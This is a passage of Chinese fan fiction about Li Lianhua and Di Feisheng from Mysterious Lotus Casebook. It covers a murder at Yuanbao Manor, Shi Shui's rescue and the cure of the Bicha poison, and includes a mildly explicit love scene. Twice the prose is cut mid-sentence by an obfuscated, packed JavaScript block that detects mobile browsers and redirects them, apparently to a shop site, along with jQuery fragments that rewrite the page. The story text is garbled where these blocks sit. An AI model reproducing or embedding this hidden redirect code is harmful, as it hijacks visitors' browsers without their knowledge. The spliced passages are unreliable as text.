“不能。”关河梦立即道。
李莲花当日虽说的太过真实瘆人,仿佛有人做过。
关河梦原本以为,他也遇上过类似疑难杂症,就没太当一回事。
但赏剑大会一事后,关河梦回去再深思,就惊悚地意识到了一个事实——
世间真有个身具至纯内力的人,中了碧茶之毒这种无解还特别痛苦的剧毒,本身又是个心高气傲、绝对容不得自己不清醒的性子。
当然,笛盟主斩钉截铁的‘第一空置,等本尊找回李相夷,解了毒再一战决定’,也给了他确切的答案。
若非李相夷没死,笛飞声怎会如此笃定?
“碧茶之毒无解。”关河梦了叹息一声:“的确如李门主所言,毒发前后用药泡新鲜虎掌服下强抗,是个保持清醒、延迟或缩短疯癫发作之法。”
他细致地猜测道:“平时则只能用至纯内力扬州慢压制毒性,只怕李门主的内力被散的只剩下一层了,是最近被笛盟主找回,方才有了点起色吧?”
被当场掀了身份,李莲花斜睨了恍然大悟的笛飞声一眼,再次重复道:“看你,招摇!”
“哪有。”笛飞声反应过来,当即就驳了回去:“你问问你徒弟,再问问你朋友,我就废了一个云彼丘,叫招摇吗?”
看戏看得正开心,被扯进去左右为难,两人却以他为乐趣吵得很开心,方多病:“?”我就不该站在这儿!
“李门主自己都说,可找最在意之人相商。”关河梦再接再厉,但也真心实意道:“现在人就在前辈身旁,不妨稍稍依赖一二,权作放松。”
一句话震得李莲花难得语塞,关河梦从椅子上站起来,对方多病道:“方少庄主,我和小慵来元宝山庄的路上,听闻天机山庄、金鸳盟、万圣道这三家,近期都在找忘川花,可是与碧茶之毒解法有关?”
他倒是没说,除了少部分人猜测和解碧茶之毒有关,大部分人都认为,是笛盟主欲突破悲风白杨第八层。
只因这样,就算李门主当真还活着,碧茶之毒解了,他也能光明正大地战而胜之,夺下他心心念念了十来年的天下第一名号。
是故,金鸳盟与同金鸳盟最近有了交情的天机山庄才会出大力去找。
至于万圣道,比起近年只能稳住局面查查案子的百川院,本来在盟主封磬的经营下渐有正道领袖之风,却被笛盟主打上门毫无还手之力。
“封磬上头那位神龙见首不见尾的万圣道主,恐怕是气得不轻啊。”关河梦还记得,这一路上偶然听见江湖人小声嘀咕:“但在找忘川花上给金鸳盟使绊子,委实是小家子气,他还不如好好练武。”
旁边人理所当然回答:“好好练武也没用啊,苏文才的榜单还是公平的,你看这位道主根本就没上榜。说不定啊,全靠万圣道是他家的,又从小洗脑教导,才压得封盟主乖乖收拾烂摊子。”
苏小慵当时听得有趣,甚至还和关河梦讨论了两句。
当然,没有人知道,其实万圣道派出去的人,本该认认真真找忘川花。
反是李莲花的暗子催使其中的自己人假做为难金鸳盟,演戏演得分外成功,锅还全扣给了单孤刀,好显得他气量短小。
“啊……李大哥……李门主……”慢一拍的苏小慵张大了嘴,又闭了回去,然后又张开了:“剑神李相夷!”
她猛地拍了一下头:“对,我在爷爷家的典籍里看过!忘川花能使人重塑筋骨,驱除万毒,但分阴阳两株,阳草至刚至阳,阴草修复经脉。只服阳草,刚猛内力可借机精进。若只服阴草,能使人瞬间真气充盈但很快爆体而亡。就只有阴阳草同食,才能起最大的效果。”
“听见了吗老笛?”李莲花一个肘击,把不太敢和他硬碰硬生怕把人弄摔倒的笛飞声撞得一个踉跄:“阳草至刚至阳,你的悲风白杨突破可以用。”
嗯,第八层突破到第九层虽然不知道要多少年,但也可能是用得到的噗。
“然后呢?”笛飞声明知道李莲花在逗他,也还是一本正经道:“你撑不住,毒发死了,我找谁决战?就现在万人册上的几个水货?!”
李莲花不接茬,反而唤苏小慵:“苏姑娘,你听见了吗?快回去告诉你爷爷,笛盟主对现在的万人册很质疑,还是赶紧把他挪第一吧。”
“李相夷!”笛飞声终于被逗得炸了毛:“本尊可不要胜之不武!”
苏小慵眼睛里的光暗了一瞬。
她也是个蕙质兰心的女孩儿,前有笛盟主以阿飞的名义留在已为莲花楼主的李相夷身边,后有李莲花这般做派,自是对她的心思予以委婉又温柔的拒绝。
“声音小一点,阿飞。”李莲花面不改色:“在外头别这么大声喊我名字,不知道还以为见鬼了诈尸了。”
笛飞声气得不想理他,转身进了内屋。
“师父……”方多病这才敢开口,却还是帮了李莲花一把:“师娘来元宝山庄,也因为汇集了名医,想看看还能不能集思广益,为你想更好的解毒办法。”
他有些无奈道:“你把他气走了,病案可都在他那里。”
“无妨。”李莲花指了指脑子:“我过目不忘。”
他朝着关河梦轻轻浅浅一笑:“目前是药魔与无了大师在忙活,不知关侠医……”
“晚辈的荣幸。”关河梦立即应了。
没有人能拒绝李相夷,也没有医者能拒绝与极具盛名的同行一起会诊。
咳,无了的金针梵术知道的人少,但药魔虽是魔道,名声却很是响亮。
“咚咚咚。”就在此刻,有脚步声由远及近,大家都停下言语,等到了敲门声。
有事弟子服其劳,方多病这个大少爷乖乖去开门了:“谁啊?”
“是我,有事请教李神医。”外面站着的,自然是试图抱大腿的公羊无门。
没在金鸳盟总部待过几次,方多病不解地想这老头来干嘛的,正想找个借口把人支走,就见李莲花挥了挥手:“让他进来。”
公羊无门笑呵呵的,正欲踏入门槛,脚步就停住了。
方多病能和尊上、李神医同行就算了,怎么关河梦、苏小慵也在这里?
“你家尊上在后屋,大概正对着花田生闷气呢。”他就见李神医端着茶盏喝了一口,然后漫不经心说道。
公羊无门一个踉跄,摔跪在了地上:“
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13879312|146803||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
噗通。”
“唉,金鸳盟的人十年后也是不如以前了。”李莲花低笑道:“开始我晚上喜欢穿着门主袍去闲逛,他们还有胆子追衣角拿火把堵我呢。”
公羊无门听明白了。
公羊无门惊恐发抖。
公羊无门试图站起来,但腿软起不了。
内院的花田方向传来一声“咔擦”,似乎有人觉得丢脸,把树拗断了。
关河梦深吸一口气,忽然就明白为什么江湖中有多少人喜爱李相夷,就有多少人痛恨李相夷。
“方小宝,去门口守着。”李莲花摆了摆手:“但愿简凌潇别凑热闹,不然我这屋子要坐不下了。”
苏小慵默默搀扶起公羊无门,把他送去了花田。
安静之中,李莲花低声背诵病案,关河梦认认真真听着,时不时再次把脉。
等苏小慵回来时,就瞧见李莲花同样全神贯注的侧脸。
房间内的暖光印在他颊上,镀了一层浅浅的色泽,让白玉一般的肤色更加莹润。
他在淡淡地笑,带着一点点释然与鼓励,眼神是看破世俗后仍然澄澈的明亮。
真好看。苏小慵努力移开视线,她终于懂了乔姐姐十年不曾释怀的心。
就在一群人学医的学医,守门的守门,生闷气的生闷气,做出气筒的做出气筒时,千铃阵内发生了一场杀戮。
李莲花只想拿回祖产,就算厌恶之心生起,也未动杀心,但自以为是萱妃正统的某人对叛徒,可没他这么看得开。
第二日,大家围在房前。
见金满堂和前世一样没有应声,李莲花心里一个咯噔。
方多病解去机关后,他指点大家找到密室,在管家金常宝惊呼‘泊蓝人头,泊蓝人头不见了,泊蓝人头不见了’时,率先翻起了金满堂的尸骨。
经验丰富不少的方多病自觉肩负查案的指责,三两句话问的清清楚楚。
“我远远的听着……”管家金常宝语气发颤道:“听他喊要泊蓝人头。”
李莲花和方多病对望一眼,知道他是打算把金满堂的死,栽赃在董羚与救走董羚的势力上。若天机山庄出面,还容易被泼上脏水。
可苏小慵直接道:“金羚剑董羚素有侠名,在江湖上口碑不错,没听说过他与金满堂有什么瓜葛,委实不像勒索之徒啊。”
“就算真有什么瓜葛,金满堂身上也没有剑伤呐。”李莲花当然就更不打算惯着金常宝了,直接把金满堂的尸体仔仔细细验了一遍,起身道:“他是被掐死的,没有中毒,也没有其它外伤。”
单孤刀,我的好师兄,你可真是不知道收敛呐。
地上仍然遗落着金满堂垂死挣扎之际,射出的带毒袖箭,但显然单孤刀有漆木山的内力,封磬又多半同行至此,自然就躲开了。
李莲花有些膈应,竟让单孤刀带封磬在同一座山庄里,隔这么近的距离,越俎代庖地赶在自己前面处置了金满堂。
但他到底罪不至死,早知道就不因为祖产之言一时意气,故意晾金满堂一日了。
本以为公羊无门这辈子老老实实,没有他暗中相助,也无金羚剑董羚被关进密室,今夜庄子里外人又多,管家就算串通万圣道,也不会敢直接放人进来的。
与人命和接下来破案的麻烦相比,罗摩天冰倒是无所谓,反正本就是要送给单孤刀的。
行呗,破案就破案,李莲花撸起袖子,气势镇压了元宝山庄的家丁们,也留下了所有客人。
而元宝山庄千里之外的金鸳盟,负责情报网的无颜从万圣道暗子的口中,得到了一个崭新的消息。
“你说什么?”他吃了一惊:“忘川花找到了?在哪呢?”
来禀报的人苦笑一声:“首先发现忘川花的,是百川院的石水院主。”
无颜愣在那里,但细想后倒也不意外。
这十年,云彼丘不出门美其名曰画地为牢,佛白两个坐镇总部养尊处优久了,百川院的人出外勤,带头的便都是石水了。
她几乎把大江南北千山万水跑了个遍,又因对旧事耿耿于怀,对碧茶之毒效果了如指掌,很可能被尊上一出关就处置角丽谯刺激得不轻,才会和佛白大吵一架,最终退出百川院。
可尊上之事,只会让她对李门主还活着更有希望,离开后肯定是到处找碧茶之毒的解法。
既然药魔能想到忘川花,十年查案都正直公平如石水院主,积攒了不知道多少人脉,真会找不到良医,无法得知忘川花有可能解碧茶之毒吗?
那怎么可能呢。
“孤注一掷啊。”无颜低叹了一声。
金鸳盟、天机山庄、万圣道都在搜寻忘川花,但人多也就目标太大了,高手还容易被相互阻拦,特别是万圣道一直使坏。
石水孤身更适合隐匿,又早就习惯在外面奔波,她此番舍弃百川院孤注一掷寻药,成为第一个找到忘川花的人,便绝不是意外了。
“万圣道正在追杀石院主吧?”无颜问了那人一句。
见其点头,他眉头蹙起更狠:“立即发动人手找,再给杨昀春送个信。”
“若遇上千钧一发之际……”无颜迟疑片刻,咬牙道:“就先救石院主,忘川花可以后夺。”
要是石水为了忘川花出事,李门主怕是要大为伤心。
大不了任由万圣道中单孤刀那一派夺去,然后他们再杀过去抢回来。
至于威胁,哼,除非无父无母无亲无友,不然毁花就灭九族。
百川院是正派不会这么干,但魔道可不讲究这些,只要对方一个迟疑,就足够尊上得手了。
无颜想着这些,眼底闪过煞气,挥退了如释重负的那人。
哼,万圣道,单孤刀,你最好识相!
18.【笛花】重生玉城时16
查案很简单,就是古话说的对,有得必有失啊,李莲花想叹气了。
他救下金羚剑董羚多耗了几日,竟然给了单孤刀、封磬找上元宝山庄寻到破绽的时机,两人和管家串通好之后,就被提前藏在了密室里。
是他们的到来打草惊蛇,单孤刀决定不再耽搁,才直接就下了杀手。
“和你无关。”在李莲花安顿好山庄众人包括止渝,回到房间之后,笛飞声环过他的腰把人搂在怀里,沉声安慰道。
李莲花回眸一笑:“我不杀伯仁,伯仁因我而死,怎么就无关了?”
笛飞声想了想,改口道:“叛主之辈后嗣,你想救才救,不想救不用勉强。”
“老笛,你不会说话可以不说。”李莲花忍俊不禁地摆了摆手:“我还不至于因为他,有太多歉疚心。只是觉得,一条命凋零得这么轻易,有点感慨。”
他自然不会告诉笛飞声,现在怎么想怎么觉得,前世和单孤刀对上的自己,将忘川花让给皇帝的自己,当真不该硬撑着的。
他曾为武林剑神,后为芸芸众生。
可众生之命珍贵,自己难道就不珍贵了吗?
为了愧疚心和自恨心,那样毫无顾忌浪费性命,堪称不忠不孝。
若是师父还在,若师娘知道,若爹娘哥哥看见,绝对会想痛骂他了。
‘对为忘川花付出太多的阿飞,就更属不义啊。’李莲花无声一叹,突然侧过脸,落了一个吻在笛飞声眉心。
猝不及防的笛盟主愣在那里,见人大步往里屋走,后知后觉耳根泛红。
“收拾行李吧,我们这就回家。”李莲花拾掇包裹,丢给隔壁方多病去背。
方多病默不作声地背了起来。
他已经很习惯为师父师娘干活了,如果师娘不是经常以喂招为名义、行揍人之事实,就更好了。
但看着前面那对轻装简行,穿衣样式一样,还是一深一浅格外登对,甚至走着走着,就停下来说悄悄话的模样,再看看自己背上花里胡哨布匹拼凑的、很重的行李大包,大少爷还是陷入了窒息的沉思。
“我是多想不开,才非要闹着一起走啊?”方小宝嘀嘀咕咕:“要是早知道这待遇,还不如把公羊无门留下来呢。”
哼,他可是金鸳盟的人,给他家尊上和盟主夫人提包不是应该的吗?!
“方小宝,你发什么呆呢?”前面传来呼唤声。
方多病回过神,把系背包的带子紧了紧,任劳任怨回道:“这就来。”
今晚该学相夷太剑第多少招来着?
但师父也说了,忘记最好,他得融会贯通、有自己的特色,才算出师。
前方,枫叶如火,衬得暮色中的火烧云极烈极艳极美。
再走些许距离,莲花楼赫然在望。
“尊上,李门主。”无颜已等在这里了:“远方传讯,石水院主率先寻到忘川花,人已失踪多时。金鸳盟与天机山庄搜查多遍,没有尸骨。但是,杨昀春也不见了。”
竟是石水先找到的忘川花?李莲花心中五味俱陈,却还是很快就下了决定:“报位置,我和老笛亲自去。”
他想了想前世这会儿的时间,多问了一句:“最近百川院和四顾门的旧人,可有闹出别的事情?”
“佛彼白很安静,倒是比以前勤奋了。”无颜报出石水失踪的地方,却绝口不提佛彼白出外勤差点就被丢烂鸡蛋的破事儿,只报出第二个大事:“肖乔即将大婚,请帖……送了一封到盟里。”
一边是石水,一边是阿娩。李莲花蹙起眉头,但不打算改变主意:“既是石水那丫头那边更危险,婚仪就只送礼物过去,我和老笛不出面。”
“是。”无颜心头一松,语气顿时就轻快起来:“属下这就选最好的礼物送去。”
绝对不能让尊上在李门主的旧爱面前失礼,甚至还应该把这桩婚事办得圆圆满满,保管不让乔婉娩吃回头草。
莲花楼主便继续收拾行囊,带着护卫阿飞与好友方多病四处游历行医,似乎并无固定的目的地。
经常有武林人在林间瞧见莲花楼,一次问诊便是五两银子。
当他们走出莲花楼,还能听见带着特有燥意的夏日夜风,将树叶吹得簌簌作响。
所以,石水与杨昀春狼狈不堪爬出溶洞,一身湿透还死死抱着油纸布包着的防水玉盒,抬头刚好看见莲花楼之时,便是绝处逢生了。
“是神医李莲花的莲花楼!”杨昀春大喜过望:“你的伤势,快,我扶你进去!”
尽管护着盒子,被万圣道的杀手伤了好几处,石水却立得如挺拔白杨。
他这一拉,甚至没能拉动:“怎么了?”
“有高手。”石水神情肃然而警惕,死死盯着莲花楼。
出外勤多年不会没遇上过危险,她的直觉本就敏锐,这时更是大作。
“哼。”一个低沉的冷哼从里面炸响,一人负手走了出来。
正是标志性的、莲花楼主形影不离的护卫阿飞特有的打扮。
即便石水和杨昀春这段时间被追杀,也听说过一言半语。
“你……到底是谁?”石水拧起眉头。
眼前的人论威势论压力,绝不可能是个护卫啊。
“你……”杨昀春自然有同样的怀疑。
他记忆力极佳,看着那半块面具,忍不住在心里勾画了其并不存在的模样。
少顷,杨昀春脸色大变:“笛盟主,是你!”
“还算有点眼力见。”笛飞声说完便抿起唇,摘下了面具:“进去吧,他在等你。”
石水瞧着金鸳盟的盟主,再看看他身后的莲花楼,久违的晕眩感油然而生:“竟是……”
但她话音还未落,就忍不住冲了进去。
“等等!”杨昀春一急,正欲跟紧,便被笛飞声一掌拍回了原地。
但这一掌并不重,只让他暂时性全身酥麻,一下子软倒在草丛中难以动弹。
“天赋还行,可惜为人卖命。”笛飞声收回手,转身看向楼内。
压抑的却喜极而泣的哽咽声,已传了出来:“门主!”
想到李莲花拨乱反正、海晏河清的理想,笛飞声回眸低声提点了一句:“若你想娶石水,有舍方有得。”
至少,不能继续站在现任皇帝的阵营里了。
“多谢笛盟主指点。”虽然没听明白,但杨昀春是个有礼貌的年轻人。
不过,好事注定多磨,里头突然传出克制的闷哼和接踵而至的倒地声。
“噗通。”这一下,足见摔得很突然。
笛飞声瞬间跃了进去:“怎么了?”
杨昀春挣扎了好几下,直到楼内飞出一枚勺子,不偏不倚击中穴道,他才能站起来走动。
“中招了。”李莲花蹲在倒下的石水面前,眉头紧皱。
杨昀春无法理解:“怎么会,刚刚还好好的,我们也一直很小心势……”
“是痋虫。”李莲花叹了口气:“小杨,你身份特殊,感情又非秘密,就由你把石水怀里的忘川花取出,交给万圣道,换他们的解痋之物。”
好狠的单孤刀!
为了试探他到底是不是还活着,对石水下的痋,居然是取自南胤族地。
那是南胤族中极少数传承下来的术士之一自行炼制,奉予王嗣的贡品,存量少之又少,连萱公主的血脉都解不开。
术士本人则远在南胤,发作前根本赶不过去。
那就只能交出忘川花,换取术士留下的与痋虫相克之药。
“可是……”刚知道李莲花竟是李门主,杨昀春此刻也顾不上惊讶了。
他的唇颤了颤,想要答应下来,却还是摇了摇头:“她不会愿意的。”
“石水的命于李相夷,要比忘川花珍贵多了。”李莲花倒是笑了,但笑不达眼底:“花给了,还能抢回来、换回来,只要师兄不知道我在。”
这回儿,杨昀春足足愣了好一会儿,才不可置信道:“单孤刀?!他……万圣道主?!”
“对。”李莲花站起了身,淡淡道:“十年碧茶折磨我都忍了,何必在乎这一时半刻?”
杨昀春心情复杂,忍不住行了个大礼,语气甚至带了点哽咽:“谢李前辈。”
“不必多礼。”李莲花扬了扬下巴,示意他抱起石水从盒中取忘川花。
虽同生共死了数日,但杨昀春从未想过能和心上人这般贴近,脸腾地就泛了红,几乎是同手同脚才打开了玉盒。
“让金鸳盟压阵。”确定和古籍所记载一致,笛飞声把目光从忘川花上收回,声音很是冷冽:“白王,此事交给你。”
楼上突然传来大嗓门:“是,尊上!”
炎帝白王举重若轻地跃下楼,嘿笑道:“您在赏剑大会上可是说了,石院主尽心尽力,依照李门主之命行事奔波,值得宽宥一二。那咱们金鸳盟救人就理所当然,救完还要送回百川院,让她压下佛彼白,对吧?”
“背的不错。”笛飞声眼底滑过些许笑意:“是谁教的?”
另一个人在白王高大的身影后走出:“是属下。”
是四象青尊,他背后还有阎王寻命。杨昀春木然地看着这一幕,心想为了李门主,金鸳盟这是倾巢而出了啊。
他当然不知道,是无颜强令三王前来救援的,唯两仪仙子留在云隐山。
“好,就交给你们了。”李莲花微微一笑。
可他也心想,幸好有石水为我扳回了一局。
不然,跟老笛比十年前的眼光,自己真的是一败涂地啊。
“咣当。”外面忽然就传来响动声。
大家都忘了过去,只见金鸳盟一位探子匆匆来报:“尊上,三王。”
他不认识李莲花,也对石水、杨昀春愣了一下,似乎不是金鸳盟派出去寻花的那一拨人。
“何事?”见到这人,笛飞声眸中笑意顿时敛去:“你竟找到这里!”
李莲花眼底倒是滑过一抹
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13918107|146803||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
惊讶,只因这人竟是一字诗李一辅。
“属下知罪。”一字诗李一辅年纪轻轻,是近年才入金鸳盟之人,原是归于角丽谯麾下。
角丽谯的势力被笛飞声出关斩尽杀绝时,他虽为角丽谯姿色所迷,但根本不是心腹,是以恐惧慌乱居多,然不敢反抗,顺从地被关押起来。
此后无颜和玉红烛费劲筛选,将对角丽谯死忠的挑出来除掉,为剩下的盟众重新编造了名册和位置。
李一辅武功一般,但有点文采,就不上不下地挂了个名,平日里处理一些盟中生意事儿。
直到前不久,笛飞声忽然交给他一个任务。
“但实在事发紧急。”李一辅喘着粗气道:“属下依尊上之令,配合……配合李姑娘成功潜伏进女宅。然女宅最近又多了一人,属下查籍贯时,发现是当朝公主。”
李莲花马上看向笛飞声,挑眉道:“你还给角丽谯派了帮手?!”
“她不是死了吗?”杨昀春一句话脱口而出。
笛飞声垂下眼眸。
四象青尊苦笑一声接话道:“李门主,这事儿属下来解释吧。我和玉楼春相交多年,但查到最近才发觉,玉家一直拐卖人口,直到十多年前您横空出世,江湖风波暂止,他们才收敛数年。我将此事禀告尊上,尊上说,您可能觉得……”
“觉得是那位祖奶奶眼光不好、所托非人,使李家数代没能归宗认祖、重掌门庭,导致家仆霸占财产不说,还以此发展这等皮肉生意。”他深吸了一口气:“故尊上命属下秘密接回多具女尸,令属下和角丽谯查所有女子的籍贯身世、来龙去脉,再妥善安置,以免您日后自责。”
李莲花闭了闭眼睛,但没忍住抬手握住了笛飞声的手。
你总是过于懂我。知晓了真相之后,我确实为南胤人手中太多无辜者的血,感到了难过与抱歉。
笛飞声没有吭声,但他扣紧了那只手,将五指扣入指缝。
握刀持剑曾贯穿对方要害的手,便当着数人的面,十指相依相扣。
李一辅慢慢地睁大了眼睛,杨昀春也张大了嘴,险些就要惊叫出声了。
四象青尊已经很习惯了,干脆视若无睹:“角丽谯被废了武功,此次戴罪立功,心有余力不足,须得盟中好手暗中相助也督促监视,同时查探幸存者的身世,以便捣毁女宅后安排。李一辅胜在有些奇异名声,正方便打入此次漫山红之请,才被安排为其中之一。”
“一字诗的名声,我听过。”李莲花点头,表示他确实知道这个人。
上辈子死到临头还作大死的李一辅别的不说,对主子确实忠心可嘉。
此次他对准的是金鸳盟,是笛飞声,总算不再是个笑话了。
哇,李门主居然知道我!还在震惊两位武林神话关系的李一辅,脸上顿时就泛起激动的红光。
“但你找到这里,应当不止为当朝公主私自出宫却被拐卖的事情吧?”就金鸳盟之人的脾气,李莲花真不认为公主有这个面子。
才说个话就被打断,又陡然知道李相夷身份,李一辅恍然大悟地想了起来,在四象青尊的死亡凝视下尴尬低头:“属下还没来得及说,今年不知为何,漫山红竟提前到了九月初一。”
看来,女宅有变动。李莲花刚若有所思,又听说话大喘气的李一辅补充了一句:“还有,慕娩山庄的肖乔大婚被扰,肖紫矜被人重伤,乔婉娩昏迷不醒。无颜护卫让人掩护属下进来,一定要禀报尊上此事。”
现在看来,哪里是说给尊上的,明明是让李门主知道。
但万一李门主去救旧情人,尊上会不会不高兴?
就像是刚才我提到前任圣女,都没敢叫姓氏,李门主都第一时间反应过来,还问尊上为什么要给前任圣女派人帮忙,明晃晃是故意为难她咳咳。
石水和阿娩,好一出双管齐下。李莲花不知道李一辅心里奇奇怪怪的想法,眼神一瞬间就冰寒森冷了。
假死隐忍十年的单孤刀,到底不是个傻子。
自己多方劝阻他行恶事,恐怕已经引起了怀疑。
“小杨,辛苦你了。”李莲花倒是一下子冷静下来:“白王,你陪他走一趟。”
笛飞声突然开口:“且慢。”
“怎么啦?”李莲花偏过头。
笛飞声解下他腰间系着的药罐,一把扔给白王:“本尊要一劳永逸,青尊、寻命,你们也去!”
“……”李莲花苦笑一声:“至于这么着急吗?”
笛飞声冷笑道:“三王亲至,却对业火痋弃之若敝履,不更说明本尊对悲风白杨第八层势在必得吗?”
为一时意气救宿敌下属,为天下第一让业火母痋。
他将态度摆得明明白白,才能不让单孤刀把李相夷的下落联想到自己身上,也猜不到他们已是密不可分的同盟,只以为仍是必会决一死战的宿敌。
单孤刀却不会想到,我刚得回的忘川花,当日就会用在李相夷身上,为他解了碧茶之毒。
19.【笛花】重生玉城时18
夕阳西下,炊烟袅袅升起,隔江千万里。
笛飞声和李莲花忙活着收拾了一桌饭菜和糕点。
石水醒过来,一声出乎意料的“门主夫人”,弄得笛飞声楞在当场,也令喝酒的三王当场喷酒。
“哈哈哈。”李莲花倒是笑得直不起腰来。
他甚至一掌拍在大桌上,将一盘点心飞向跳起来溜走的石水:“带上,叫小杨一起吃。”
石水笑着拿走了,如一阵风刮出莲花楼,顺便抱走了守她一夜等解痋结束才昏睡过去的杨昀春。
“哼。”低头装鹌鹑不敢吭声的金鸳盟三王,听见了自家尊上的一声冷嗤。
李莲花大呼小叫道:“哎呀呀阿飞别生气别生气,你总要习惯的嘛,这还只是开始呢,重头戏还没上来,先吃菜吃菜。”
习惯?开始?重头戏?您是说,以后会无数人喊尊上皇后,尊上可能还要接受命妇朝拜?!他们仨集体抖了抖,继续垂眸喝酒,充耳不闻。
笛飞声瞪他一眼,抢过盛肉的锅,三下五除二就吃光了,一口都没给李莲花留。
三王对望一眼,心想尊上真宠李门主啊。
就李门主那厨艺,这肉能下咽实属不易,更别说吃的一口没停了。
而对于尊上传音让他出去买卤肉的事儿,四象青尊更是完全不意外。
就算李门主知觉还未恢复,尊上也显然不乐意让他吃不好吃的肉。
因为李一辅传来的消息,莲花楼救下石水、杨昀春,就已经继续赶路,如今停在城市旁边,以青尊的轻功,这顿饭还没吃完,正宗卤菜就被买了回来。
“谢谢。”石水接过她和杨昀春那一份,瞧着灯火明亮的莲花楼,听着自家门主的笑声,唇角便也带了欣然的笑。
四象青尊拱了拱手:“客气了,石院主。”以后可都是同僚啊。
不过,李莲花得了面子,自然就丢了里子。
月色当空,抱琴开野室,携酒对情人。
解毒终于开始了。
无了等人合计多时,定下的双修辅以忘川花的医案,到底起到了作用。
“阿飞……阿飞……呃嗯……”在笛飞声悲风白杨与忘川花的夹击下,李莲花体内的碧茶之毒溃不成军。
笛飞声轻轻吻上那双心荡秋水横波清的眼睛,只觉明珠千万斛,不及他眸光分毫。
“肉身尚存,亲友俱在,传承仍兴。”笛飞声沉声道:“我要李相夷不死,要李莲花新生。”
原来你听懂了啊。李莲花有些想笑,但眼角泛着湿红的脂色。
之前他对石水道,一个人是怎么死的呢,肉身死亡是第一次,亲友记忆是第二次,曾创传承是最后一次。
阿飞听不得死,当即打断了他,他便没有再继续。
原来,阿飞是听懂了他安慰石水的话,百川院佛彼白石只有石水坚守了他最初的理想,就算被迫保持沉默,也是传承者,不是叛徒。
“李相夷已经复活,李莲花已经新生。”李莲花紧紧扣住笛飞声的肩,把自己努力贴过去,唇齿磨蹭着他胸口那道贯穿的剑疤。
笛飞声喘了又喘。
他的手指抚过每一株莲叶,他的唇舌品过每一颗莲子,身子慢慢沉入这越发柔软却缠绕束缚的莲海之中。
小雨忽至,四檐密密又疏疏,声到蒲团醉梦苏。
后来雨势渐大,嘈嘈切切错杂弹,大珠小珠落玉盘。
直至晨光熹微,蝉鸣蛙叫,雨过天晴出彩虹。
“还没出来。”昨夜躲得远远的,但又都守在周围不留死角,三王与石水、杨昀春探出了头。
失踪很久的方多病提着大大小小的食盒,从城里赶回来:“诶,怎么都聚在这里。”
大家交换了个眼色,方多病猝不及防,被扣住两只手腕,一掌击中了后心。
“喂你们太过分……”他眼前一花,已被抛飞进了莲花楼:“啊哈哈,师娘早上好呀。”
他的骂声骤然中转,一个鲤鱼打挺从一楼地板上跳起来。
笛飞声只挂了一件外袍,还是明晃晃有些紧的、自家师父的外袍,正面无表情站在去二楼的楼梯上看过来,眼神里全然是被吵醒的嫌弃。
“出去,早练。”他眉眼餍足,突然就嘴角上扬,露出一抹释然的笑,唯独发话让方多病来不及开心就毛骨悚然了:“三王陪练。”
方多病还来不及“哇”一声抗议,不道德的用他做敲门砖的三王便已飞身过来,一个捂嘴,一个扣肩膀,一个抓后摆,把人迅速拖走了。
毒解了,但自家尊上和李门主显然折腾了半宿,刚被他们几个吵醒。
嗯,感谢方多病这个身为李门主亲传弟子的毛头小子,顶他在前面,他们不会挨打,还能揍受害者,真的太好了!
“咣当当。”三王如是想,理直气壮地欺负起了年轻人。
杨昀春、石水:“……”
“他好歹是我四顾门的少主,不能这样被欺负……”石水提起剑和鞭,绝口不提明明就是她第一个用眼神出坏主意的,而是借此插入了大战。
此番被追杀良久,她自觉有些感悟,面前又是如今已是同一阵营的新友人,正巧是试试手的机会。
杨昀春忍笑忍了半天,亦冲了出去。
这便是三对三了。
“啪嗒。”莲花楼上,帘幕挂起,一道机关弹出钩子,准确无误扣住了食盒。
大家抬起头,只见一身白衣镶红边的青年独坐案几,神色冷峻,眸光却是含笑,施施然点了个头。
然后,一众食盒‘啪叽’一声被扯了去,帘幕放下了。
“我们门主饭量还是挺大的。”一片原敌我双方再见李相夷的寂静里,石水忽然开口:“你们笛盟主呢?”
三王煞有其事地对望了一眼。
练武之人哪里有吃不下去的?更别说,肯定不能在四顾门旧人面前,给自家主子丢人吧?!
三王遂郑重颔首:“那是一定不弱于李门主的。”
“哦,方多病。”石水收剑收鞭:“你再去多买几份早膳。”
狗屋子里,大黄狗摇动尾巴:“汪汪汪!”
“嗯,记得多讨一份不放盐的,最好是大骨头。”杨昀春温声提议。
方多病破防了:“为什么还是我去?!”
“你们知道去万圣道总部演戏再赶回来,路上还记得带早膳,本少爷有多辛苦吗?!”他抱着剑,原本满腹苦水的心都被气得忘了苦。
最会怀柔的四象青尊声音温润:“我们当然知道,所以让你多做事,不要想东想西。”
尊上给了方多病什么任务,他还能不知道嘛。
“我……”方多病果然卡住了:“我才没想东想西。”
救下石水、杨昀春的那一晚,杨昀春奉李莲花的命令,与三王一起以业火母痋换了石水性命。
方多病却是隐于幕后,以婆娑步跟踪他们去见单孤刀。
这当然是笛飞声的意思,而他给方多病的任务,是以极乐塔的位置和秘密诱导单孤刀,其他随性发挥。
“轰。”于是,单孤刀的心腹才献上业火痋,方多病就跃进来,一剑扫飞了这几人。
场内唯三能站立的,便只剩下单孤刀、封磬和方多病本人。
“哟,这不是藏头露尾的万圣道主吗?”方多病张口就嘲讽:“原来就这尊荣,难怪不敢露面。”
单孤刀气得胸口剧烈起伏,要不是他刚刚躲得快,差点就被剑捅了个穿:“逆子!”
